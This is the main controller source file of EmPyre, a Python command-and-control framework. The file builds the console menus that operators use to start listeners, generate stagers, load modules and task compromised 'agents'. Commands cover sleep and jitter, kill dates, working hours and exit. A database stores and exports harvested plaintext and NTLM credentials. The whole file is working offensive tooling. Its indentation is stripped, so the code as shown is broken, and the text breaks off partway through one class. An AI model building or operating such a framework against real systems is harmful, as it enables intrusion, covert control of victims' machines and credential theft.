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EmpireProject-EmPyre/lib/common/empyre.py
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xorrior 2b7bb42652 Added in memory imports to agent. Still testing
2016-09-27 21:09:02 -04:00

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"""
The main controller class for EmPyre.
This is what's launched from ./empyre.
Contains the Main, Listener, Agents, Agent, and Module
menu loops.
"""
# make version for EmPyre
VERSION = "1.2"
from pydispatch import dispatcher
import sys, cmd, sqlite3, os, hashlib, traceback, time
from zlib_wrapper import compress
from zlib_wrapper import decompress
import zipfile
# EmPyre imports
import helpers
import http
import encryption
import packets
import messages
import agents
import listeners
import modules
import stagers
import credentials
# custom exceptions used for nested menu navigation
class NavMain(Exception): pass
class NavAgents(Exception): pass
class NavListeners(Exception): pass
class MainMenu(cmd.Cmd):
def __init__(self, args=None, restAPI=False):
cmd.Cmd.__init__(self)
# globalOptions[optionName] = (value, required, description)
self.globalOptions = {}
self.args = args
# empty database object
self.conn = self.database_connect()
# pull out some common configuration information
(self.isroot, self.installPath, self.stage0, self.stage1, self.stage2, self.ipWhiteList, self.ipBlackList) = helpers.get_config('rootuser,install_path,stage0_uri,stage1_uri,stage2_uri,ip_whitelist,ip_blacklist')
# instantiate the agents, listeners, and stagers objects
self.agents = agents.Agents(self, args=args)
self.listeners = listeners.Listeners(self, args=args)
self.stagers = stagers.Stagers(self, args=args)
self.modules = modules.Modules(self, args=args)
self.credentials = credentials.Credentials(self, args=args)
# make sure all the references are passed after instantiation
self.agents.listeners = self.listeners
self.agents.modules = self.modules
self.agents.stagers = self.stagers
self.listeners.modules = self.modules
self.listeners.stagers = self.stagers
self.modules.stagers = self.stagers
# change the default prompt for the user
self.prompt = "(EmPyre) > "
self.do_help.__func__.__doc__ = '''Displays the help menu.'''
self.doc_header = 'Commands'
dispatcher.connect(self.handle_event, sender=dispatcher.Any)
# Main, Agents, or Listeners
self.menu_state = "Main"
# parse/handle any passed command line arguments
self.args = args
self.handle_args()
# start everything up normally if the RESTful API isn't being launched
if not restAPI:
self.startup()
def check_root(self):
"""
Check if EmPyre has been run as root, and alert user.
"""
try:
if os.geteuid() != 0:
if self.isroot:
messages.title(VERSION)
print "[!] Warning: Running EmPyre as non-root, after running as root will likely fail to access prior agents!"
while True:
a = raw_input(helpers.color("[>] Are you sure you want to continue (y) or (n): "))
if a.startswith("y"):
return
if a.startswith("n"):
self.shutdown()
sys.exit()
else:
pass
if os.geteuid() == 0:
if self.isroot:
pass
if not self.isroot:
cur = self.conn.cursor()
cur.execute("UPDATE config SET rootuser = 1")
cur.close()
except Exception as e:
print e
def handle_args(self):
"""
Handle any passed arguments.
"""
if self.args.listener or self.args.stager:
# if we're displaying listeners/stagers or generating a stager
if self.args.listener:
if self.args.listener == 'list':
activeListeners = self.listeners.get_listeners()
messages.display_listeners(activeListeners)
else:
activeListeners = self.listeners.get_listeners()
targetListener = [l for l in activeListeners if self.args.listener in l[1]]
if targetListener:
targetListener = targetListener[0]
messages.display_listener_database(targetListener)
else:
print helpers.color("\n[!] No active listeners with name '%s'\n" %(self.args.listener))
else:
if self.args.stager == 'list':
print "\nStagers:\n"
print " Name Description"
print " ---- -----------"
for stagerName,stager in self.stagers.stagers.iteritems():
print " %s%s" % ('{0: <17}'.format(stagerName), stager.info['Description'])
print "\n"
else:
stagerName = self.args.stager
try:
targetStager = self.stagers.stagers[stagerName]
menu = StagerMenu(self, stagerName)
if self.args.stager_options:
for option in self.args.stager_options:
if '=' not in option:
print helpers.color("\n[!] Invalid option: '%s'" %(option))
print helpers.color("[!] Please use Option=Value format\n")
if self.conn: self.conn.close()
sys.exit()
# split the passed stager options by = and set the appropriate option
optionName, optionValue = option.split('=')
menu.do_set("%s %s" %(optionName, optionValue))
# generate the stager
menu.do_generate('')
else:
messages.display_stager(stagerName, targetStager)
except Exception as e:
print e
print helpers.color("\n[!] No current stager with name '%s'\n" %(stagerName))
# shutdown the database connection object
if self.conn: self.conn.close()
sys.exit()
def startup(self):
"""
Kick off all initial startup actions.
"""
self.database_connect()
# restart any listeners currently in the database
self.listeners.start_existing_listeners()
dispatcher.send("[*] EmPyre starting up...", sender="EmPyre")
def shutdown(self):
"""
Perform any shutdown actions.
"""
print "\n" + helpers.color("[!] Shutting down...\n")
dispatcher.send("[*] EmPyre shutting down...", sender="EmPyre")
# enumerate all active servers/listeners and shut them down
self.listeners.shutdownall()
# shutdown the database connection object
if self.conn:
self.conn.close()
def database_connect(self):
try:
# set the database connectiont to autocommit w/ isolation level
self.conn = sqlite3.connect('./data/empyre.db', check_same_thread=False)
self.conn.text_factory = str
self.conn.isolation_level = None
return self.conn
except Exception:
print helpers.color("[!] Could not connect to database")
print helpers.color("[!] Please run database_setup.py")
sys.exit()
# def preloop(self):
# traceback.print_stack()
def cmdloop(self):
# check if root user has run empyre before and warn user
self.check_root()
while True:
try:
if self.menu_state == "Agents":
self.do_agents("")
elif self.menu_state == "Listeners":
self.do_listeners("")
else:
# display the main title
messages.title(VERSION)
# get active listeners, agents, and loaded modules
num_agents = self.agents.get_agents()
if(num_agents):
num_agents = len(num_agents)
else:
num_agents = 0
num_modules = self.modules.modules
if(num_modules):
num_modules = len(num_modules)
else:
num_modules = 0
num_listeners = self.listeners.get_listeners()
if(num_listeners):
num_listeners = len(num_listeners)
else:
num_listeners = 0
print " " + helpers.color(str(num_modules), "green") + " modules currently loaded\n"
print " " + helpers.color(str(num_listeners), "green") + " listeners currently active\n"
print " " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"
cmd.Cmd.cmdloop(self)
# handle those pesky ctrl+c's
except KeyboardInterrupt as e:
self.menu_state = "Main"
try:
choice = raw_input(helpers.color("\n[>] Exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.shutdown()
return True
else:
continue
except KeyboardInterrupt as e:
continue
# exception used to signal jumping to "Main" menu
except NavMain as e:
self.menu_state = "Main"
# exception used to signal jumping to "Agents" menu
except NavAgents as e:
self.menu_state = "Agents"
# exception used to signal jumping to "Listeners" menu
except NavListeners as e:
self.menu_state = "Listeners"
except Exception as e:
print helpers.color("[!] Exception: %s" %(e))
time.sleep(5)
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
self.stdout.write("\n")
def emptyline(self): pass
def handle_event(self, signal, sender):
"""
Default event handler.
Signal Senders:
EmPyre - the main EmPyre controller (this file)
Agents - the Agents handler
Listeners - the Listeners handler
HttpHandler - the HTTP handler
EmPyreServer - the EmPyre HTTP server
"""
# if --debug X is passed, log out all dispatcher signals
if self.args.debug:
f = open("empyre.debug", 'a')
f.write(helpers.get_datetime() + " " + sender + " : " + signal + "\n")
f.close()
if self.args.debug == '2':
# if --debug 2, also print the output to the screen
print " " + sender + " : " + signal
# display specific signals from the agents.
if sender == "Agents":
if "[+] Initial agent" in signal:
print helpers.color(signal)
elif "[!] Agent" in signal and "exiting" in signal:
print helpers.color(signal)
elif "WARNING" in signal or "attempted overwrite" in signal:
print helpers.color(signal)
elif "on the blacklist" in signal:
print helpers.color(signal)
elif sender == "EmPyreServer":
if "[!] Error starting listener" in signal:
print helpers.color(signal)
elif sender == "Listeners":
print helpers.color(signal)
###################################################
# CMD methods
###################################################
def default(self, line):
pass
def do_exit(self, line):
"Exit EmPyre"
raise KeyboardInterrupt
def do_agents(self, line):
"Jump to the Agents menu."
try:
a = AgentsMenu(self)
a.cmdloop()
except Exception as e:
raise e
def do_listeners(self, line):
"Interact with active listeners."
try:
l = ListenerMenu(self)
l.cmdloop()
except Exception as e:
raise e
def do_usestager(self, line):
"Use an EmPyre stager."
try:
parts = line.split(" ")
if parts[0] not in self.stagers.stagers:
print helpers.color("[!] Error: invalid stager module")
elif len(parts) == 1:
l = StagerMenu(self, parts[0])
l.cmdloop()
elif len(parts) == 2:
listener = parts[1]
if not self.listeners.is_listener_valid(listener):
print helpers.color("[!] Please enter a valid listener name or ID")
else:
self.stagers.set_stager_option('Listener', listener)
l = StagerMenu(self, parts[0])
l.cmdloop()
else:
print helpers.color("[!] Error in MainMenu's do_userstager()")
except Exception as e:
raise e
def do_usemodule(self, line):
"Use an EmPyre module."
if line not in self.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
try:
l = ModuleMenu(self, line)
l.cmdloop()
except Exception as e:
raise e
def do_searchmodule(self, line):
"Search EmPyre module names/descriptions."
searchTerm = line.strip()
if searchTerm.strip() == "":
print helpers.color("[!] Please enter a search term.")
else:
self.modules.search_modules(searchTerm)
def do_creds(self, line):
"Add/display credentials to/from the database."
filterTerm = line.strip()
if filterTerm == "":
creds = self.credentials.get_credentials()
elif filterTerm.split()[0].lower() == "add":
# add format: "domain username password <notes> <credType> <sid>
args = filterTerm.split()[1:]
if len(args) == 3:
domain, username, password = args
if helpers.validate_ntlm(password):
# credtype, domain, username, password, host, sid="", notes=""):
self.credentials.add_credential("hash", domain, username, password, "")
else:
self.credentials.add_credential("plaintext", domain, username, password, "")
elif len(args) == 4:
domain, username, password, notes = args
if helpers.validate_ntlm(password):
self.credentials.add_credential("hash", domain, username, password, "", notes=notes)
else:
self.credentials.add_credential("plaintext", domain, username, password, "", notes=notes)
elif len(args) == 5:
domain, username, password, notes, credType = args
self.credentials.add_credential(credType, domain, username, password, "", notes=notes)
elif len(args) == 6:
domain, username, password, notes, credType, sid = args
self.credentials.add_credential(credType, domain, username, password, "", sid=sid, notes=notes)
else:
print helpers.color("[!] Format is 'add domain username password <notes> <credType> <sid>")
return
creds = self.credentials.get_credentials()
elif filterTerm.split()[0].lower() == "remove":
try:
args = filterTerm.split()[1:]
if len(args) != 1 :
print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
else:
if args[0].lower() == "all":
choice = raw_input(helpers.color("[>] Remove all credentials from the database? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.credentials.remove_all_credentials()
else:
if "," in args[0]:
credIDs = args[0].split(",")
self.credentials.remove_credentials(credIDs)
elif "-" in args[0]:
parts = args[0].split("-")
credIDs = [x for x in xrange(int(parts[0]), int(parts[1])+1)]
self.credentials.remove_credentials(credIDs)
else:
self.credentials.remove_credentials(args)
except:
print helpers.color("[!] Error in remove command parsing.")
print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
return
elif filterTerm.split()[0].lower() == "export":
args = filterTerm.split()[1:]
if len(args) != 1:
print helpers.color("[!] Please supply an output filename/filepath.")
return
else:
creds = self.credentials.get_credentials()
if len(creds) == 0:
print helpers.color("[!] No credentials in the database.")
return
f = open(args[0], 'w')
f.write("CredID,CredType,Domain,Username,Password,Host,SID,Notes\n")
for cred in creds:
f.write(",".join([str(x) for x in cred]) + "\n")
print "\n" + helpers.color("[*] Credentials exported to %s.\n" % (args[0]))
return
elif filterTerm.split()[0].lower() == "plaintext":
creds = self.credentials.get_credentials(credtype="plaintext")
elif filterTerm.split()[0].lower() == "hash":
creds = self.credentials.get_credentials(credtype="hash")
else:
creds = self.credentials.get_credentials(filterTerm=filterTerm)
messages.display_credentials(creds)
def do_set(self, line):
"Set a global option (e.g. IP whitelists)."
parts = line.split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path.")
else:
if parts[0].lower() == "ip_whitelist":
if parts[1] != "" and os.path.exists(parts[1]):
try:
f = open(parts[1], 'r')
ipData = f.read()
f.close()
self.agents.ipWhiteList = helpers.generate_ip_list(ipData)
except:
print helpers.color("[!] Error opening ip file %s" %(parts[1]))
else:
self.agents.ipWhiteList = helpers.generate_ip_list(",".join(parts[1:]))
elif parts[0].lower() == "ip_blacklist":
if parts[1] != "" and os.path.exists(parts[1]):
try:
f = open(parts[1], 'r')
ipData = f.read()
f.close()
self.agents.ipBlackList = helpers.generate_ip_list(ipData)
except:
print helpers.color("[!] Error opening ip file %s" %(parts[1]))
else:
self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:]))
else:
print helpers.color("[!] Please choose 'ip_whitelist' or 'ip_blacklist'")
def do_reset(self, line):
"Reset a global option (e.g. IP whitelists)."
if line.strip().lower() == "ip_whitelist":
self.agents.ipWhiteList = None
if line.strip().lower() == "ip_blacklist":
self.agents.ipBlackList = None
def do_show(self, line):
"Show a global option (e.g. IP whitelists)."
if line.strip().lower() == "ip_whitelist":
print self.agents.ipWhiteList
if line.strip().lower() == "ip_blacklist":
print self.agents.ipBlackList
def do_load(self, line):
"Loads EmPyre modules from a non-standard folder."
if line.strip() == '' or not os.path.isdir(line.strip()):
print "\n" + helpers.color("[!] Please specify a valid folder to load modules from.") + "\n"
else:
self.modules.load_modules(rootPath=line.strip())
def do_reload(self, line):
"Reload one (or all) EmPyre modules."
if line.strip().lower() == "all":
# reload all modules
print "\n" + helpers.color("[*] Reloading all modules.") + "\n"
self.modules.load_modules()
elif os.path.isdir(line.strip()):
# if we're loading an external directory
self.modules.load_modules(rootPath=line.strip())
else:
if line.strip() not in self.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
print "\n" + helpers.color("[*] Reloading module: " + line) + "\n"
self.modules.reload_module(line)
def do_list(self, line):
"Lists active agents or listeners."
parts = line.split(" ")
if parts[0].lower() == "agents":
line = " ".join(parts[1:])
agents = self.agents.get_agents()
if line.strip().lower() == "stale":
displayAgents = []
for agent in agents:
sessionID = self.agents.get_agent_id(agent[3])
# max check in -> delay + delay*jitter
intervalMax = (agent[4] + agent[4] * agent[5])+30
# get the agent last check in time
agentTime = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
# if the last checkin time exceeds the limit, remove it
displayAgents.append(agent)
messages.display_staleagents(displayAgents)
elif line.strip() != "":
# if we're listing an agents active in the last X minutes
try:
minutes = int(line.strip())
# grab just the agents active within the specified window (in minutes)
displayAgents = []
for agent in agents:
agentTime = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))
if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60):
displayAgents.append(agent)
messages.display_agents(displayAgents)
except:
print helpers.color("[!] Please enter the minute window for agent checkin.")
else:
messages.display_agents(agents)
elif parts[0].lower() == "listeners":
messages.display_listeners(self.listeners.get_listeners())
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an EmPyre Python module path."
modules = self.modules.modules.keys()
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in modules if s.startswith(mline)]
def complete_reload(self, text, line, begidx, endidx):
"Tab-complete an EmPyre Python module path."
modules = self.modules.modules.keys() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in modules if s.startswith(mline)]
def complete_usestager(self, text, line, begidx, endidx):
"Tab-complete an EmPyre stager module path."
stagers = self.stagers.stagers.keys()
if (line.split(" ")[1].lower() in stagers) and line.endswith(" "):
# if we already have a stager name, tab-complete listener names
listenerNames = self.listeners.get_listener_names()
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
else:
# otherwise tab-complate the stager names
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in stagers if s.startswith(mline)]
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a global option."
options = ["ip_whitelist", "ip_blacklist"]
if line.split(" ")[1].lower() in options:
return helpers.complete_path(text,line,arg=True)
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_load(self, text, line, begidx, endidx):
"Tab-complete a module load path."
return helpers.complete_path(text,line)
def complete_reset(self, text, line, begidx, endidx):
"Tab-complete a global option."
return self.complete_set(text, line, begidx, endidx)
def complete_show(self, text, line, begidx, endidx):
"Tab-complete a global option."
return self.complete_set(text, line, begidx, endidx)
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = [ "add", "remove", "export", "hash", "plaintext"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
class AgentsMenu(cmd.Cmd):
def __init__(self, mainMenu):
cmd.Cmd.__init__(self)
self.mainMenu = mainMenu
self.doc_header = 'Commands'
# set the prompt text
self.prompt = '(EmPyre: '+helpers.color("agents", color="blue")+') > '
agents = self.mainMenu.agents.get_agents()
messages.display_agents(agents)
# def preloop(self):
# traceback.print_stack()
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
self.stdout.write("\n")
def emptyline(self): pass
def do_back(self, line):
"Return back a menu."
return NavMain()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit EmPyre."
raise KeyboardInterrupt
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
self.mainMenu.do_list("agents " + str(line))
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
def do_rename(self, line):
"Rename a particular agent."
parts = line.strip().split(" ")
# name sure we get an old name and new name for the agent
if len(parts) == 2:
# replace the old name with the new name
oldname = parts[0]
newname = parts[1]
self.mainMenu.agents.rename_agent(oldname, newname)
else:
print helpers.color("[!] Please enter an agent name and new name")
def do_interact(self, line):
"Interact with a particular agent."
name = line.strip()
if name != "" and self.mainMenu.agents.is_agent_present(name):
# resolve the passed name to a sessionID
sessionID = self.mainMenu.agents.get_agent_id(name)
a = AgentMenu(self.mainMenu, sessionID)
a.cmdloop()
else:
print helpers.color("[!] Please enter a valid agent name")
def do_kill(self, line):
"Task one or more agents to exit."
name = line.strip()
if name.lower() == "all":
try:
choice = raw_input(helpers.color("[>] Kill all agents? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT")
except KeyboardInterrupt as e:
print ""
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(name)
if sessionID and len(sessionID) != 0:
self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT")
else:
print helpers.color("[!] Invalid agent name")
def do_clear(self, line):
"Clear one or more agent's taskings."
name = line.strip()
if name.lower() == "all":
self.mainMenu.agents.clear_agent_tasks("all")
elif name.lower() == "autorun":
self.mainMenu.agents.clear_autoruns()
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(name)
if sessionID and len(sessionID) != 0:
self.mainMenu.agents.clear_agent_tasks(sessionID)
else:
print helpers.color("[!] Invalid agent name")
def do_sleep(self, line):
"Task one or more agents to 'sleep [agent/all] interval [jitter]'"
parts = line.strip().split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter 'interval [jitter]'")
if len(parts) >= 2:
try:
int(parts[1])
except:
print helpers.color("[!] Please only enter integer for 'interval'")
return
if len(parts) > 2:
try:
int(parts[2])
except:
print helpers.color("[!] Please only enter integer for '[jitter]'")
return
if parts[0].lower() == "all":
delay = parts[1]
jitter = 0.0
if len(parts) == 3:
jitter = parts[2]
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent info in the database
self.mainMenu.agents.set_agent_field("delay", delay, sessionID)
self.mainMenu.agents.set_agent_field("jitter", jitter, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter))
# update the agent log
msg = "Tasked agent to delay sleep/jitter to: %s/%s" % (delay, jitter)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
delay = parts[1]
jitter = 0.0
if len(parts) == 3:
jitter = parts[2]
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("delay", delay, sessionID)
self.mainMenu.agents.set_agent_field("jitter", jitter, sessionID)
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter))
# update the agent log
msg = "Tasked agent to delay sleep/jitter to: %s/%s" % (delay, jitter)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_lostlimit(self, line):
"Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '"
parts = line.strip().split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter a valid '#ofCBs'")
elif parts[0].lower() == "all":
lostLimit = parts[1]
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent info in the database
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'" % (lostLimit, lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit to: %s" % (lostLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
lostLimit = parts[1]
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'" % (lostLimit, lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit to: %s" % (lostLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_killdate(self, line):
"Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
parts = line.strip().split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter date in form 01/01/2016")
elif parts[0].lower() == "all":
killDate = parts[1]
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent's field in the database
self.mainMenu.agents.set_agent_field("kill_date", killDate, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate))
msg = "Tasked agent to set killdate to: %s" % (killDate)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
killDate = parts[1]
if sessionID and len(sessionID) != 0:
# update this agent's field in the database
self.mainMenu.agents.set_agent_field("kill_date", killDate, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate))
# update the agent log
msg = "Tasked agent to set killdate to: %s" % (killDate)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_workinghours(self, line):
"Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00)."
parts = line.strip().split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter hours in the form '9:00-17:00'")
elif parts[0].lower() == "all":
hours = parts[1]
hours = hours.replace("," , "-")
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent's field in the database
self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'" % (hours))
msg = "Tasked agent to set working hours to: %s" % (hours)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
hours = parts[1]
hours = hours.replace("," , "-")
if sessionID and len(sessionID) != 0:
# update this agent's field in the database
self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'" % (hours))
# update the agent log
msg = "Tasked agent to set working hours to %s" % (hours)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_remove(self, line):
"Remove one or more agents from the database."
name = line.strip()
if name.lower() == "all":
try:
choice = raw_input(helpers.color("[>] Remove all agents from the database? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.mainMenu.agents.remove_agent('%')
except KeyboardInterrupt as e:
print ""
elif name.lower() == "stale":
# remove 'stale' agents that have missed their checkin intervals
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = self.mainMenu.agents.get_agent_id(agent[3])
# max check in -> delay + delay*jitter
intervalMax = (agent[4] + agent[4] * agent[5])+30
# get the agent last check in time
agentTime = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
# if the last checkin time exceeds the limit, remove it
self.mainMenu.agents.remove_agent(sessionID)
elif name.isdigit():
# if we're removing agents that checked in longer than X minutes ago
agents = self.mainMenu.agents.get_agents()
try:
minutes = int(line.strip())
# grab just the agents active within the specified window (in minutes)
for agent in agents:
sessionID = self.mainMenu.agents.get_agent_id(agent[3])
# get the agent last check in time
agentTime = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60):
# if the last checkin time exceeds the limit, remove it
self.mainMenu.agents.remove_agent(sessionID)
except:
print helpers.color("[!] Please enter the minute window for agent checkin.")
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(name)
if sessionID and len(sessionID) != 0:
self.mainMenu.agents.remove_agent(sessionID)
else:
print helpers.color("[!] Invalid agent name")
def do_usestager(self, line):
"Use an EmPyre stager."
parts = line.split(" ")
if parts[0] not in self.mainMenu.stagers.stagers:
print helpers.color("[!] Error: invalid stager module")
elif len(parts) == 1:
l = StagerMenu(self.mainMenu, parts[0])
l.cmdloop()
elif len(parts) == 2:
listener = parts[1]
if not self.mainMenu.listeners.is_listener_valid(listener):
print helpers.color("[!] Please enter a valid listener name or ID")
else:
self.mainMenu.stagers.set_stager_option('Listener', listener)
l = StagerMenu(self.mainMenu, parts[0])
l.cmdloop()
else:
print helpers.color("[!] Error in AgentsMenu's do_userstager()")
def do_usemodule(self, line):
"Use an EmPyre Python module."
module = line.strip()
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
# set agent to "all"
l = ModuleMenu(self.mainMenu, line, agent="all")
l.cmdloop()
def do_searchmodule(self, line):
"Search EmPyre module names/descriptions."
searchTerm = line.strip()
if searchTerm.strip() == "":
print helpers.color("[!] Please enter a search term.")
else:
self.mainMenu.modules.search_modules(searchTerm)
def complete_interact(self, text, line, begidx, endidx):
"Tab-complete an interact command"
names = self.mainMenu.agents.get_agent_names()
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_rename(self, text, line, begidx, endidx):
"Tab-complete a rename command"
names = self.mainMenu.agents.get_agent_names()
return self.complete_interact(text, line, begidx, endidx)
def complete_clear(self, text, line, begidx, endidx):
"Tab-complete a clear command"
names = self.mainMenu.agents.get_agent_names() + ["all", "autorun"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_remove(self, text, line, begidx, endidx):
"Tab-complete a remove command"
names = self.mainMenu.agents.get_agent_names() + ["all", "stale"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_list(self, text, line, begidx, endidx):
"Tab-complete a list command"
options = ["stale"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_kill(self, text, line, begidx, endidx):
"Tab-complete a kill command"
return self.complete_clear(text, line, begidx, endidx)
def complete_sleep(self, text, line, begidx, endidx):
"Tab-complete a sleep command"
return self.complete_clear(text, line, begidx, endidx)
def complete_lostlimit(self, text, line, begidx, endidx):
"Tab-complete a lostlimit command"
return self.complete_clear(text, line, begidx, endidx)
def complete_killdate(self, text, line, begidx, endidx):
"Tab-complete a killdate command"
return self.complete_clear(text, line, begidx, endidx)
def complete_workinghours(self, text, line, begidx, endidx):
"Tab-complete a workinghours command"
return self.complete_clear(text, line, begidx, endidx)
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an EmPyre Python module path"
return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
def complete_usestager(self, text, line, begidx, endidx):
"Tab-complete an EmPyre stager module path."
return self.mainMenu.complete_usestager(text, line, begidx, endidx)
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
return self.mainMenu.complete_creds(text, line, begidx, endidx)
class AgentMenu(cmd.Cmd):
def __init__(self, mainMenu, sessionID):
cmd.Cmd.__init__(self)
self.mainMenu = mainMenu
self.sessionID = sessionID
self.doc_header = 'Agent Commands'
# try to resolve the sessionID to a name
name = self.mainMenu.agents.get_agent_name(sessionID)
